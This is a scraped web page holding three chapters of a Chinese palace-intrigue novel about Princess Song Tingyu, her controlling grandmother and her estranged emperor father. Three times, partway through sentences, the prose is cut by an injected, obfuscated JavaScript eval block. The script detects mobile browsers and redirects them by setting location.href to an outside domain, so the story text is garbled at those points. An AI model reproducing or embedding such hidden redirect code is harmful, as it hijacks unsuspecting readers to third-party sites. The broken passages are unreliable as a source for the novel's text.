《我为青帝》 3. 受封 宋庭玉母亲贞妃的去世,宫里讳莫如深,对外只说病逝。实际上老人都知道,十七年前,贞妃居住的春芜苑起了一场大火,只活下来了四公主一个不满两岁的婴儿,宫人私下纷纷议论四公主克母。 自那以后,宋庭玉没有继续留在宫里,景元帝怜悯她幼年丧母,特许其外祖母敬慈夫人将公主接到身边照顾,之后十余年宋庭玉极少进宫,众人也渐渐淡忘了还有一个养在宫外的四公主。 四年前,宋庭玉及笄,敬慈夫人拿出自己几十年未穿过的一品诰命夫人朝服,进宫为她求得了建府的恩典。只是没有封号和封地的公主不过空壳一具,地位尴尬,不然也不会轻飘飘被指那样一门亲。 公主府建在太平街东边的巷子里,距皇宫有些远,后院对着翠屏山,那是王都城唯一一座山,穿过林子就出了王都大门,建府时内务省美其名曰是兵马大元帅故居,其实只不过是宋庭玉的外祖父当年进王都时落过脚的地方。 不过,宋庭玉倒是很喜欢这里。 她已经习惯了从公主府到内城要坐很久马车,靠在软枕上看完大半本书,马车终于停下。径直走进大门,穿过游廊,就是第一重内院。她屏退前来问膳的管家,径自又穿过三重门廊,走到最里面的一方院子,无视了门口行礼的护卫,直接推门进去。 这是公主府最背阴的一间房,即使是正午阳光正好,屋子里也凉意逼人。正对着门是一扇雕花屏风,转过屏风,是一张摆放着各色贡品的香案,铜兽云纹香炉里柏香幽幽,青烟袅袅,香炉后供奉着一个牌位,上书“慈母宁氏思沅之位”。 宋庭玉上前,点了三炷香,恭恭敬敬跪在垫上,附身拜了三拜,望着牌位上的字,出神片刻,半晌才慢慢起身,走到香案前,将香稳稳当当插在了香炉里。 一直紧跟在她身后的侍女忍冬,斟酌再三,低声开口: “殿下今日在街上闹这一通,老夫人知道恐怕会动怒。” 宋庭玉望着牌位前升起的青烟,漫不经心道:“外祖母真正在乎的,从来都不是我定一个怎样的驸马,而是母亲之仇是否能报。只要本宫查出仇人,母亲沉冤得雪,与谁成婚就是无足轻重的小事,外祖母不会在意这小小的‘忤逆’”。 “老夫人之前总要殿下韬光养晦,殿下此番如此行事,属下怕陛下会不满。” “不满?他可还记得本宫是谁?”宋庭玉语气平稳,不像是在谈论自己的亲生父亲: “外祖母还以为自己是那个呼风唤雨的敬慈夫人,可十七年了,谁还记得她?又有谁还记得当年王都宠冠后宫的贞妃娘娘?只怕陛下自己都忘记了。一个在王都都不存在的人,谈何查清当年的真相,又谈何报仇?” 忍冬不想她提起这些伤心事,劝慰道:“老夫人也是保护殿下,这几年才不得已低调行事的。” 宋庭玉看着升到空中渐渐散开的青烟,深湖般平静的眼底闪过一瞬波澜,她想起自己儿时不愿习武,故意在雪地里玩了半日,想着生病了就不用“冬练三九”了,可不知敬慈夫人是如何看出她的小心思,让她在漫天大雪中,跪在祠堂外面足足两个时辰,然后告诉她:她活着,就是为了给母亲报仇,若不想习武,就一直跪着。 宋庭玉只记得,那是自己第一次如此渴望活着,强撑一口气,站起身,凭着一股求生的本能做完当日的武课,然后晕死过去。 那之后她就知道,自己能活到今日,只是因为敬慈夫人对女儿的死心有不甘。 她沉默半晌,不想再提这件事,低声问: “可派人去了外祖母府上?” 忍冬点点头:“菘蓝去了,老夫人称病不曾见人,只派了身边姑姑传话,让属下们伺候好公主。” “她这是恼我自作主张了。” 宋庭玉低头一笑,笑意却未到眼底。她挥挥手,让忍冬出去,自己走到灵位前,掀起衣袍,端端正正跪下。 一如她十几年来惯常做的那样。 忍冬看着光秃秃、没有铺软垫的地面,千百句劝慰的话到了嘴边,却只化作一句叹息,轻手轻脚关上房门,自己转身守在外面。 敬慈夫人是先帝亲封的一品诰命,她丈夫是随先帝征战沙场、平定天下的兵马大元帅宁致恒,不幸战死沙场,追封一等国公,留下一儿一女。儿子宁思清子承父业,封威远将军,戍守鄂州边关;女儿宁思沅入景元帝后宫为妃,生下公主宋庭玉两年后薨逝。 宁思沅生前颇受景元帝宠爱,宁府虽无国公爷,一双儿女却撑起家门,鲜花着锦、烈火烹油,在王都很是风光。只是好景不长,宁思沅死得突然,也死得离奇,丧仪简陋,没有半分宠妃的哀荣,留下一个两岁的女儿不受帝王重视,早早出了宫。 之后,敬慈夫人带着她在王都贵族中销声匿迹。 敬慈夫人年轻时也是跟随丈夫上过战场的人,脾气火爆、心高气傲,这些年年事已高,加之思念远在千里之外的小儿子,一场大病后,身体每况愈下。 宋庭玉跪在硬邦邦的石板地上,看着香炉后的牌位出神。忍冬只知她跪在这里是一种自我惩罚,却不知跪在母亲的灵位前,是她少有的放松时刻:唯有跪在这里,她才可以从敬慈夫人毫无缝隙的控制和指责中喘息片刻。 多年的严苛教养到底在她身上留下了不可磨灭的印记:即使精神松懈,她依旧跪得背脊挺直,神情严肃,如一棵傲雪凌霜的青松。 夜深了,忍冬隐隐约约听见更夫打更时,阵阵规律的梆子声。 她搓着手,在灵堂外走来走去,时不时探头从门缝里看一眼,想出声催促,可又不敢进去。殿下自午后回来,一日水米未进,又在灵前跪了这么久……她一向不在意自己的身体,可从小跟在她身边的忍冬却替她担忧,几次欲推门进去,想起宋庭玉跪在灵前的眼神,又惴惴不安收回了手。 公主府离内城远,即便有旨意,在路上也要耗费不少时间。因此,当敬慈夫人带着几驾马车敲响公主府的大门时,已经过了寅时三刻。 公主府灯火通明。敬慈夫人下了车,不等侍女上来搀扶,就拄着鹿头拐杖自己往府里走,边走边急切地问: “公主呢?怎么样了?” 下边的小侍女没见过这阵仗,已然乱了阵脚,一时也不知道怎么回答,还是菘蓝从月亮门疾步出来,行了个礼,竭力咽下担忧,哽咽道:“公主滴水未进,在祠堂跪到现在,方才奴婢们进去看,公主竟已晕倒在灵位前。” “啊?我让你们好生看顾公主,你们这些奴才是怎么做事的!可怜玉儿年幼,府里也没个能掌事的,竟让你们这般慢待!” 敬慈夫人一口气憋在胸口没上来,抖着手颤颤巍巍,脸色发白。 菘蓝当即“扑通”跪下,心里着急,不敢起身,只一个劲儿认罪抹眼泪。 正忙乱着,后面的马车上下来一个锦衣华服的男人,人过中年,浑身威势,一双鹰眼凌厉如风刃,面白无须,原来是个太监。 他踩着一个小太监的背下了马车,不动声色地环视一周。 公主府的大门简陋,内里也并不是别有洞天,各色陈设皆是十几年前的样式,用料也十分普通。阳春三月,花园里竟杂草丛生,荒芜凌乱。周围站着的下人低着头,战战兢兢,忙乱无措,公主身边的大丫鬟竟只知道跪在地上哭。 他心下暗叹,微微皱了皱眉。 上前几步,从丫鬟手中搀过敬慈夫人的手臂,微一用力撑着她的背,温声道: “老夫人莫急,公主殿下金尊玉贵,底下人不懂规矩,圣上让奴才带了太医来,赶快让太医给公主瞧瞧。” “多……多谢圣上。”敬慈夫人流着眼泪,叹息道: “老身无能,没有教养好公主,竟让她做出这等不知规矩、辱没皇室脸面的事情来,实在是愧对陛下的托付,愧对列祖列宗啊!”她被疾病掏空的身子半倚侍女身上,拍拍太监的手,艰难喘气。 “老夫人言重,公主是天家的女儿,金尊玉贵,就算是当街打了人,那也是恩赏,孙家的小子只有受着的份儿!” 敬慈夫人心下“咯噔”一声,不知道他是什么意思,只好装傻,半眯着眼,哀哀叫痛。 “愣着干什么?还不赶紧扶老夫人进房中歇息,公主如今在哪儿呢?”太监厉声问。 菘蓝连忙站起身,福了福身道:“回公公,公主已在房中,只是人还昏迷不醒。”说着让人赶紧带路。 菘蓝缀在一行人后面,见那领头的太监使了个眼色,几个捧着盒子的小太监纷纷跟上,后头还跟着一个蓄须男子,应该就是他们口中的太医。 她从小跟着宋庭玉,虽没见过宫里来人,但对皇宫众人也知晓一二,领头这个太监应该就是皇帝身边的总领太监李介。看样子,他和老夫人是在路上碰上了 只是不知道陛下突然派人来是什么意思,毕竟十七年了,陛下从未主动关心过公主,难不成是因为殿下当街打了人?闹这一出,竟还有如此奇效呢? 几人步履匆匆,转眼间就到了宋庭玉日常生活的院子。 院里花木稀疏,正屋门口站着两个小丫鬟,看起来年龄还小,从没见过这么大的阵仗,已经吓得慌了神。 李介让其他人留在门外,只带了太医,扶着敬慈夫人进了门,转过正堂,就见一张陈设简单的雕花拔步床,上面躺着一个面色苍白的女子,眼睛紧闭,一个侍女站在床边暗自垂泪,见有人来,忙起身行礼。 “我的心肝儿!” 敬慈夫人一见宋庭玉,忍了一路的眼泪如憋了好几日的春雨,扑簌簌顺着脸颊滚落。她不顾身边人的劝阻,趴在床边一边痛哭,一边轻轻拍打宋庭玉呼吸起伏微弱的胸口: “你个孽障,你今天犯下如此令皇室蒙羞的大错,现在又作出这副模样,你是要了老身的命啊!” “老夫人,您注意身子!”忍冬本已擦干了的眼泪又开始流,可来不及擦,急忙上前扶着敬慈夫人。 李介一见,头都大了,实在难以招架,上前劝慰:“老夫人万万不可哭坏了身子,赶紧让太医给公主看看吧。” 说着使了个眼色,示意太医把脉。又叫了几个人,手忙脚乱地将敬慈夫人扶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他坐上车,招呼人赶紧回宫,片刻也不想多待。 这厢送走了不速之客,屋里瞬间恢复井然有序,下人们进进出出,步子极快,可半分声音也没有。 敬慈夫人屏退众人,缓缓坐到宋庭玉床边,捏着手里的佛珠,并不说话。 宋庭玉若有所感,慢慢睁开眼睛,毫不意外地坐起身,撑着床时不小心蹭到了红肿的膝盖。她动作微微一顿,有些疼,脸上却丝毫不显。 祖孙俩就这样映着烛火静静对视半晌,最后,还是宋庭玉低了头,叹息道:“劳外祖母费心了。” 敬慈夫人不说话,只是静静看着宋庭玉肖似其母的脸,半晌才开口:“你长大了,有自己的谋算,外祖母的话不顶用了。” 短短几个字,砸在宋庭玉心上重若千钧。她苦笑道:“孙儿知道外祖母是为我好,可借人之力攀附而上,终究不如自己一飞冲天。更何况,那孙家儿郎,实非良配,外祖母难道忍心孙儿受此磋磨?” “你不要光看孙见章,你也要看看他背后是谁!” 宋庭玉冷嗤:“不过是一个小小侍郎的侄儿,怎能配得起本宫?外祖母要寻助力,也应该掂量掂量。” “你!” 见敬慈夫人动怒,她终是软了口气:“我毕竟是父皇的女儿,今日之事往大了说,也是维护了皇室的脸面。有脾气总好过任人磋磨,如今,父皇也能想起我来,得了皇帝的注意,才好为日后铺路。” 敬慈夫人起身,语气冰冷:“但愿,你还记得你是你母亲的孩子,不要如那个人一般,背信弃义。” 宋庭玉忍着双膝的疼痛下了床,面无表情:“恭送外祖母。” 后巷,忍冬把手里的包裹交给一个年轻女子。女子男装打扮,灰布短打,戴着兜帽,借着月光可窥见几分清秀容颜。 “拿着,这是盘缠,出了巷子左转有马车在等,驾车的是庄子上的顺哥儿。趁天没亮,他会送你出城,码头有人接应,送你回姑苏。”忍冬低声快速嘱咐,替她理了理头发,将兜帽拉得更低。 女子神情惶惑,急道:“那我姐姐呢?孙家夫人脾气不好,会打死她的!” 忍冬轻拍她的肩:“莺儿你放心,殿下答应了将你姐姐救出,送你二人回姑苏老家。殿下在那里也绣坊,你姐妹可去那里做事,自己攒下家当,好过受人打骂。” 莺儿激动得几乎落泪,眼圈一红,就要跪下行礼:“谢殿下救命之恩!” 忍冬扶起她,笑道:“快走吧,你也算帮了殿下一把,只是那荷包被金吾卫拿去,恐怕要不回来了。” 莺儿愤愤:“惯会哄骗人的公子哥儿,谁要那腌臜东西!” 忍冬将她送出后门,见她转过街角上了马车,才舒了一口气。 众人皆以为四公主闹这一出,恐怕会彻底失了帝心。然而令人惊掉下巴的是,第二日,圣旨就快马加鞭送进了公主府。 “帝四公主宋庭玉,幼而娴和,长实贞德,行有法度,今封昭平公主,食千户。” 众人一惊:当街鞭打准驸马,这也是行有法度? 4. 父皇 前朝后宫议论纷纷,一时间,宋庭玉的名字在王都仿佛成了佐酒小菜,茶余饭后总要被人提起几句,只是风向悄无声息变了。以前都是暗中批判她不守妇道,如今却说她虽然行事嚣张,但毕竟还是公主,孙家儿郎是藐视皇恩,公主也是为了维护皇室脸面,只是手段偏激了些。 说她是佐酒小菜,是因为不过封了一个公主,没有母家倚仗,总归成不了气候。 无论如何,昭平公主在前朝后宫,第一次有了存在感。 是夜,养心殿。 李介听着床帐里的呼吸渐渐变得平静,松了一口气,轻手轻脚地熄了多余的蜡烛,踮着脚退出殿外。出了门,才悄无声息打了几个手势,让附近看守的宫人退得远一点,免得扰了陛下安眠。 景元帝这些年来睡眠一直不好,年轻时日日操劳,如今上了年纪又多了个头疼的毛病,每每发作心烦气躁,夜里更加难以入眠。 前些日子陛下再次头痛发作,太医院一个普通的当值太医姜缮呈上了新药“宁绪香”,看似平平无奇却有几分奇效,疼痛减轻了不说,夜里好歹是能睡几个时辰了。 李介用袖子擦了擦额头上的汗,让底下的小徒弟先回去,今夜圣上好不容易安眠,他得亲自守着。 夜深人静,养心殿里落针可闻。 燃着安眠香的大殿里只留了一盏烛灯,景元帝安睡在龙床上,帐子里映着幽幽的烛影,他原本舒展的眉心渐渐皱起,平静悠长的呼吸也变得急促起来。 一道白影从他眼前飘过,他惊得背心一阵冷汗,像是被人兜头浇了一盆冷水,暖意融融的春夜也变得令人寒意渐生。 “沅娘……” 他听见自己在吼叫,向着那个不断逼近自己的白影,可实际上他发出的只有喑哑的嘶嘶声,像一条濒死的蛇。 李介呢?这个狗奴才上哪儿去了? “沅娘,你有什么不平之事,都告诉朕,朕一定满足你,你走吧,让朕睡个安稳觉吧!” 他睡得越来越不安稳,在床上来回翻滚,额头沁出细细密密的冷汗,他想叫人,可喉咙却像被人紧紧扼住,发不出任何声音。他清醒地意识到自己在做梦,却怎么也醒不过来。 对,就是她,就是她将自己牢牢地锁在了这梦里! 景元帝在梦中挣扎,眼睁睁地看着那个白色影子离自己越来越近,她停在了自己面前,像从前她总是带着愁绪的背影。她顿了顿,听不见他苦苦的哀求,慢慢转过身来…… “啊!” 他一个激灵,猛地睁开眼睛,急促地喘着气,胸口仿佛有一面大鼓,震声如雷,敲得他心头砰砰直跳! “陛下!” 李介听到动静赶忙进来,点亮了灯烛,拿着帕子替景元帝拭去额头的冷汗。 景元帝一把抓住他的手腕,李介只觉五指冰凉,带着冷冷的湿意,他一惊,偷偷抬眼,见景元帝发丝凌乱,湿漉漉地贴在额头,狼狈不堪,膝盖一软,迅速跪下。 半晌,才听到榻上人的呼吸渐渐平复下来。 景元帝又恢复了往日喜怒难测的神态,接过李介呈上的帕子,草草擦了擦额头。 “你起来吧。” 李介迅速起身,依旧低垂着头,不敢直视天颜。 “沅娘是在怪朕,怪朕没有照顾好我们的女儿。” 李介放轻了呼吸,不敢说话。 “朕这些日子时常想起沅娘,她一个人抱着还在襁褓里的玉儿,跟朕说,她要走了,让朕好好对待玉儿,可是朕不敢见她……你说,她昨日当街打了孙家儿郎?” 李介整个人都趴到了地上,恭谨道:“是,那孙家儿郎行事不端,目中无人,殿下也是维护皇家颜面。” “沅娘年轻时也是个火爆性子,她像她娘,一点儿也受不得委屈。”提起这个,他眼里闪过一丝阴鸷:“孙少柏近日也是轻狂了,朕念他为修建乾元宫筹款有功,赐了他家如此恩宠,可他却纵容子侄爬到皇家的头上来了!传朕口谕,孙家家教不严,让他日后好好约束自家人,再有一次,朕决不轻饶!” “是!” 他绝口不提自己十七年来是如何忽视宋庭玉的,只知道自己此刻满腔的愧疚与怀念急于释放。蓦地,他想起什么,急忙吩咐:“叫楚秉文来!” 不过一炷香的功夫,一个年轻的、穿靛青衣袍的官员步履匆匆地进来,跪地行礼:“臣钦天监监正楚秉文参见陛下。” 景元帝挥手免了他的礼,招他近前道:“你说,之前的星象如何了?” 楚秉文端端正正站在一边,面色如常:“微臣之前观紫宸黯淡,恐龙体不安,如今再观,五星连珠,宝婺莹润,光华映空,伴帝星之侧,乃大吉之兆。” 景元帝面色一怔:“你说真的?” 楚秉文躬身行礼,低眉敛目:“微臣不敢有半句虚言。女主昌隆,乃天意。” 景元帝沉默了很久,终于开口道: “明日,传玉儿进宫吧。” 清晨的宫道安静无人,连寻常的燕子都不见一只,宋庭玉坐在皇帝御赐的轿辇上,只觉皇宫安静得可怕,也可疑。 她视线漫不经心地扫过高大的宫墙,发现自己的记忆已经相当模糊。两岁之前的日子,她都同母亲贞妃住在春芜苑。贞妃受宠,却性好安静,住在离养心殿最远的春芜苑。尽管生活安宁富足,她却时常闷闷不乐,总是对着春芜苑里的海棠树发呆,只有面对宋庭玉的时候,她的脸上才会多几分笑意。 她很少想起住在皇宫的日子,此时故地重游,多少平添几分物是人非的伤感。正想着,迎面来了一行人。她抬眼看去,八个小太监抬着轿辇,轿子后面还跟着几个侍女护卫,轿辇上斜倚着一个身着华丽宫装的女人,一袭绯色石榴裙,头上珠翠满盈,面若皎月却眉目凌厉,让人不敢直视。 还未走进,就听走在前面的宫人斥道:“大胆,见到贵妃娘娘还不下轿。” 宋庭玉微一抬手,抬着御辇的太监停了步。 颖贵妃? 她细细打量着轿辇上的女人,半晌才和两岁那年上元宫宴,刚入宫不久的曹美人对上脸。如今十七年过去,她已是这后宫里位份最高的女人。十七年的岁月没有在她脸上留下什么痕迹,反而因为多年金尊玉贵的生活,平添不少动人风姿。 她没有下轿,只微微一笑,点了点头:“见过颖贵妃。” 曹书仪一见宋庭玉那张脸就愣住了,盯着她看了许久,被身边的大宫女芷蓉提醒,才回过神来,勉露出一个勉强的笑:“许久未见,竟有些认不出了。是昭平公主吧。芷蓉,怎可对公主放肆。” 芷蓉一听,忙跪下请罪:“奴婢不知是公主殿下,请公主恕罪。” 宋庭玉没想到这位宠妃如此温和客气,懒懒一抬手;“不必,本宫不常进宫,你不认得也是常情。起来吧。” 芷蓉忙站起来,行了一礼,退到一边。 宋庭玉浅笑:“贵妃娘娘,本宫还要去养心殿,父皇召见,不敢久待,来日再同娘娘叙旧。” 颍贵妃一听,忙让人将轿子让到一边:“既是陛下召见,公主赶快去吧。改日有空,还请公主来熙宁宫坐坐。” 宋庭玉浅浅点了点头,并不搭话。 颖贵妃看着她的轿辇走远,心跳如擂鼓,不知不觉握紧了拳,染了蔻丹的指甲在手心里深深留下一道印记。 养心殿。 “快起来吧,你前些日子伤了膝盖,别跪着了。李介,赐座。” 景元帝低着头看手里的奏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362237|183739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 折,从宋庭玉进来的那一刻,他就没有抬起头看过她,拿着奏折的手有些微微发抖。他不动声色地抿了一口茶,竭力克制这种抖动。 宋庭玉却不给他机会,又一次起身行礼,开口时带了哽咽:“女儿不孝,身子一直不争气,无法进宫侍奉父皇左右,劳父皇担心,是女儿的不是。”她深深拜倒在地。 这几句话打消了景元帝十七年未见这个女儿的生疏,与心底深处埋藏的几分愧疚不安。 是啊,不是他不在乎这个女儿,是她一向身子不好,朕怕往返皇宫内外,劳累着她。如今身子好了,朕自然是要好好疼爱的。 他在心底对自己说,又像是在对什么人说。 “快起来,抬起头,让朕好好看看你。”他语气温和,倒真像个慈父了。 宋庭玉闻言起身,微微抬起头,让他看个清楚。 这一看,景元帝就怔在原地。 像,太像了。 客观地讲,宋庭玉的样貌更像她的舅舅宁思清,轮廓更加明显,眼尾上翘,有种凌厉的感觉。而贞妃的样貌更加柔婉温和,一双眼睛含愁,像是总有说不尽的怨言。 可是宋庭玉的眼尾却长了一颗小痣,与她母亲一模一样。艳红的,像开到极盛的一朵花。 虽然同样的痣,长在贞妃脸上是含愁带怨,长在她脸上就是美艳逼人。但对于已经十七年没有见过宁思沅的景元帝来说,已经足够唤醒他沉睡多年的回忆。 二十年前,她也是这样坐在将军府正厅的椅子上,阳光透过窗棂洒在她一头乌发,鬓边的步摇闪烁着碎金,灵动可爱,让他一下子就被捉住了心神。 像是要微微躲一躲直照在脸上的阳光,宋庭玉微微一偏头,景元帝一下子就捕捉到了她鬓边的凤钗,金丝缠绕,镶嵌着九颗精致饱满的东珠,凤凰的尾巴尖上是华美罕见的点翠。 那是贞妃喜爱的凤钗,是朕送给她的! 景元帝的目光一下子变得悠远,像是回忆已经将他拉到了二十年前的岁月。 宋庭玉嘴边挑起一个不易察觉的微笑,又偏了偏头,故意将凤钗转到他看不见的地方。 “父皇?” 景元帝回过神,叹了口气。 “你贵为皇室公主,当街做出鞭打读书人的事情来,虽情有可原,可到底是出格了些。你也有十九岁了吧。” “是。” “太子也十九了,如今在文渊阁听讲,你也跟着去吧,皇家的孩子,总要知书明理。朕一并赐你城外的畅和园,一应收成、税赋之事日后皆要你自己打理,不可再顽皮心性了。” 他语气和蔼,像是一个慈父。 宋庭玉倒是没想到,不用自己提,她父皇就有了送自己读书的意思,还赏赐了皇家庄园。一来文渊阁与国子监不同,授课的是大学士、中书令吴文新,讲的都是史书理政之事,这是存了培养自己的心思;二来畅和园自建朝便是皇家的重要园林,一应赋税皆由自己掌握,这可是实打实的银两。 只是不知道,在宫中打通的那些关节,究竟是哪一个起了作用…… 她按下心头的喜悦,低眉敛目,俯身行礼:“多谢父皇。” “孙家二郎不堪为良配,你的婚事,朕日后会重新为你选定。" 不过一盏茶功夫的见面,似乎已经耗尽了景元帝所有的心力。他摆摆手:“朕乏了,你回去吧,日后无事,多到宫里走动走动。” “谨遵圣喻。” 她保持着行礼的姿态推出养心殿,极为乖巧懂事的样子,让景元帝心怀甚慰。 宋庭玉关上门,隐约听见李介低声道:“陛下可是又头疼了?奴才点上姜太医新制的梦魂香吧,您歇一歇。” 她微一抬眼,露出一个嘲讽的笑。 5. 诗册 宋庭玉平时其实是很忙的,事情一多,就忘记了林徵鸣。直到十日后,忍冬提起今日林徵鸣递了拜帖,她才想起来自己一时兴起,招了个南梁幕僚的事。 她摇摇头:我真是昏了头啊。 她承认,那时候的自己与敬慈夫人闹了不愉快,难得生出几分不耐烦的叛逆:你们越要本宫循规蹈矩,本宫便越要做些出格的事。实际上,她并不需要一个不知底细的幕僚为自己出谋划策,一个不得信任的人,根本不会有机会进到公主府。 她也承认,自己看见林徵鸣的脸,有几分为色所迷。可是林徵鸣有才华,他并不需要出卖自己的色相,一个文人,甘愿做一个毫无实权公主的入幕之宾,听起来就不会有什么好话。 她是一时兴起,可也不想平白毁了一个年轻人的仕途。 她叹了口气:“明日到湖上走走吧。” 三月的天气晴好,宋庭玉乘了一艘画舫,在芷水上随波而动。画舫上请了几个有名的乐匠,咿咿呀呀,丝竹悦耳,暖风熏人醉,她昏昏欲睡。 林徵鸣坐在她对面,一开始有些忐忑,可见她总是一副懒洋洋的样子,不由盯着她多看了几眼。 宋庭玉若有所感,闭着眼睛笑道:“林先生这几日可是无聊了?也是,本宫不是能出入议事场合的明主,只不过一介女子,林先生在我这公主府里确实是屈才了。” 林徵鸣摇摇头,认真道:“公主胸襟大度,不拘小节,能让在下在偌大的元夏都城有一处容身之地,在下已是感激不尽。” 宋庭玉不知他这话说得几分真假,可恭维的话听起来总是悦耳的。想了想道: “读书人若想出人头地,除了科举就是走举荐的路子。本宫虽无人助力,可母族也有几个能说得上话的人。改日你同本宫去见见,为你在朝中谋个差事。” 林徵鸣皱眉:“公主这是不要在下了吗?” 宋庭玉疑惑:“什么?” “救命啊,救救我,求求你救救我!” 岸上一阵哭嚎声打断了二人的谈话。 “我不去,你们放开我!救命啊,有人强抢民女啦!” 宋庭玉直起身往船舱外看去,见一群人挤在一起乱哄哄的,一时也分不清发生了什么,招手叫来忍冬:“去看看是怎么回事。” 忍冬点头上了岸。 街对面一家酒楼门口,一群家丁打扮的强壮男子正拉扯着一个女孩子。 女孩儿看起来年龄不大,还梳着双丫髻,拉扯挣扎中两个发包摇摇欲坠,看样子这群人是要将她拉进楼里去。 酒楼有三层高,匾额上写着两个大字:枕楼。单从名字倒是看不出什么,只是楼前还明晃晃挂着几盏栀子灯,是王都最大的一家青楼。 “父债子偿,天经地义。你爹欠了我们的钱,他还不起,就拿你来还!”其中一个家丁凶神恶煞道。 “我还,我没说不还,我做牛做马也会还你们的!只是求求你再容我些时日吧。” 女孩儿一边挣扎,一边喊叫,带着哭腔的稚嫩嗓音听起来尤为刺耳。 “我呸!你爹都死了,你上哪里筹钱?乖乖听话进去,你卖个好价钱,还了你爹的债不说,日后还能养活自己!” 边说边双臂一横,抱着女孩儿半拖半拽就要进去。 忍冬皱眉,快步上前,伸手将人拦下,道:“慢着,欠债还钱就是了,光天化日如此野蛮行径,强迫人家小姑娘到青楼里去,还有没有王法了?” 家丁偏头瞅了她一眼,不耐烦地道:“去去去,关你什么事!” 回身卡起女孩儿的胳膊就要走,迈步时却发现自己无法动弹。 家丁心里一惊,低头看去,就见自己的胳膊上轻轻搭着一只手,看似轻巧,如水上浮萍,却好似有千钧力道,生了根般牢牢摁着他,让他无法挣脱。 家丁缩了缩脖子,心里知道自己这下是碰上了练家子,只是面子上实在有些过不去,情势不由人,软声道:“欠了八百两呢,此事与姑娘无关,姑娘还是不要插手的好。” 忍冬一听这话便笑了:“本姑娘此生没别的爱好,就爱路见不平拔刀相助。” “姑娘,是这个丫头和她的爹欠了我们的钱,哪里来的不平?” 忍冬冷笑一声:“看她打扮像是附近的庄稼人。八百两是多少银子,恐怕这姑娘的爹一辈子都没见过八百两吧!” 女孩仿佛抓到了救命稻草一般,拼命挣脱大手的钳制,跑到忍冬身边哭喊道: “姐姐,姐姐救我!我爹是城外李家庄的农户,去岁大旱,颗粒无收,我爹交不上粮,主家就让拿银子抵。原只欠了二百钱,半岁后就成了八百两,我爹生了急病,已经去了,如今尸骨未寒,他们就要我…要我……”女孩说到此处,已经泣不成声。 忍冬一听脸色骤变,喝道:“你们也太目无王法了!” 家丁看她要管闲事到底,也不急着拉人了,松开了手,两手叉腰,冷笑道: “看姑娘打扮,不知是哪位大户人家的丫头,既然是大户人家,想必一定知道这王都里处处是勋贵人家,皇城上的瓦片掉下来都能砸死不止几个七品官。若没有十足的把握,姑娘以为我敢在这里拿人?我家公子说了,今日这人定是要带回去的,欠债在先,今日就是卖了这死丫头,这王都也没人敢拦!” “真是好大的口气!” 忍冬听他这般猖狂,心里也知道他定然不是一般人,但这王都里也没几个人能压得过她家主子,当下脚步一错,躲开家丁来抓人的手,又向右一侧身,露出了腰间别着的长剑,和金光闪闪的腰牌。 那家丁见一击不成,还要再纠缠,定睛一看,看到了腰牌上的字,皱眉思索片刻,像是突然想起什么,登时浑身一抖,脸色煞白,讪讪收了手。 “还不走?等着我给你银子吗?”忍冬再喝一声,柳眉倒竖,仿佛下一秒就要拔剑出鞘。 家丁也知此情此景已不是自己能处理的,不如回去禀明主子再说。当下冷哼一声,带着人迅速离开了。 小姑娘惊魂未定站在一旁,人还懵着,又有些害怕之后再被找上门。 忍冬像是猜到她在想什么,从怀中掏出一个荷包递给她,压低声音道: “姑娘莫怕,我们帮了人自会帮到底。这些银子你拿着,先回去安葬你父亲,今日晚些时候自有穿着和我一样的人来李家庄找你,你且跟着她来就是,总不会少了你一碗饭吃。” 小姑娘愣了愣,反应过来后登时红了眼眶,一腔感激无从开口,抹了抹眼泪,郑重行礼道:“多谢姐姐大恩,日后必定相报。” 宋庭玉在船舱里将这一幕尽收眼底,冷笑一声:“当街强抢民女,竟无一人敢管,我元夏朝中真是无人了。” 林徵鸣闻言看她:“殿下菩萨心肠。” “你不必如此抬高本宫,只是举手之劳,任何一个有良知之人都不会坐视不理。罢了,还是说回你的事吧。方才本宫说的事情,你考虑得如何了?” 林徵鸣脸上露出失落的神色:“殿下对路边一个素昧平生的女孩子都有一腔怜悯之心,到了在下这里,怎么就只剩下冷待和漠视了呢。” 宋庭玉一脸莫名,实在不知他这自厌的情绪是从何而起。 “在下孤身一人来到元夏,本以为可以凭争得一立锥之地,没想到得罪了人,被拒之门外。是殿下给了我体面,让我不至于无地自容,可如今,连殿下也要弃我于不顾吗?”他幽幽一叹: “也是,在下无才无德,哪里配伺候殿下。我知道殿下是为了我好,日后出了公主府,也不会给殿下丢人的。” “可是,本宫不是这个意思啊……”公主府的人没有这样说话的。宋庭玉乍一听,被他这含怨带嗔的语气惊了一跳,连连道: “你不要自贬,若你这般有才华之人,无论走那条路,都不会埋没的。” 蓦地,她忽然忆了小时候在宫中,有时遇见景元帝的妃子也是这样说话的。 她顿了顿,眼神一眯:“你诈本宫?” 林徵鸣像是没想到她这么快反应过来,赶紧敛了神色,正经道:“不敢,只是在下所言,句句发自肺腑。” 他此时的神情不像方才那样夸张,很含蓄内敛地表达了自己不愿意离开的意愿。可是脸上还是带着害怕遭人厌弃的忐忑,不敢直视她,偶尔上抬起眼睛飞快扫一眼,又低垂下去,活像一个受了委屈不敢言说的小媳妇。 宋庭玉被自己的想象惊了一跳,清了清嗓子,正色道:“本宫的处境,想必你在元夏多日,已经清楚。你留在公主府,不会有大出息,即使这样,你还是愿意跟着本宫?” “我愿意的,能跟着殿下,已经是在下的福分,不敢奢求其他。” 他低眉顺目的,倒让宋庭玉起了些捉弄他的坏心思,指尖点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 